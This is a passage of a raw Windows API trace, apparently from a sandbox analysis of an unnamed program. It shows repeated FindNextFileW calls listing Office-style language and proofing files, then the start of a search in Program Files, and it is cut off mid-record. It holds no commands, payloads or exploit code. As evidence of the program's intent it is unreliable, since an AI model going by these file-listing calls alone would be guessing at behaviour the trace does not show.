ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol.fca", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol.hyp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xafcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol103.hsp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol32.clx", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt.fca", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt.hyp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt32.clx", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1766c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt39.hsp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rum.hyp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rum124.lex", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rum32.clx", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2478, dwReserved0=0x0, dwReserved1=0x0, cFileName="rumphon.env", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus.fca", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus.hyp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x70ad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus101.hsp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8025, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus32.clx", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7deb9a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr.fca", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr.hyp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7deb9a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9e2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr105.hsp", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr32.clx", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7deb9a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr96.ths", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo.fca", cAlternateFileName="")) returned 1 [0084.320] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo.hyp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo113.hsp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo32.clx", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="slv.hyp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51800, dwReserved0=0x0, dwReserved1=0x0, cFileName="slv137.lex", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="slv32.clx", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x109f, dwReserved0=0x0, dwReserved1=0x0, cFileName="slvphon.env", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn.fca", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn.hyp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcca860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33c91, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn24.hsp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn32.clx", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcca860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x84800, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn62.ths", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd.fca", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd.hyp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd32.clx", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x821bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd43.hsp", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcca860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd58.ths", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur.fca", cAlternateFileName="")) returned 1 [0084.321] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur.hyp", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72b36, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur111.hsp", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur32.clx", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123c, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa.fca", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a6da, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa03.hsp", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa03.ths", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa37.hyp", cAlternateFileName="")) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa37.hyp", cAlternateFileName="")) returned 0 [0084.322] GetLastError () returned 0x12 [0084.322] FindFirstFileExW (in: lpFileName="C:\\Program Files 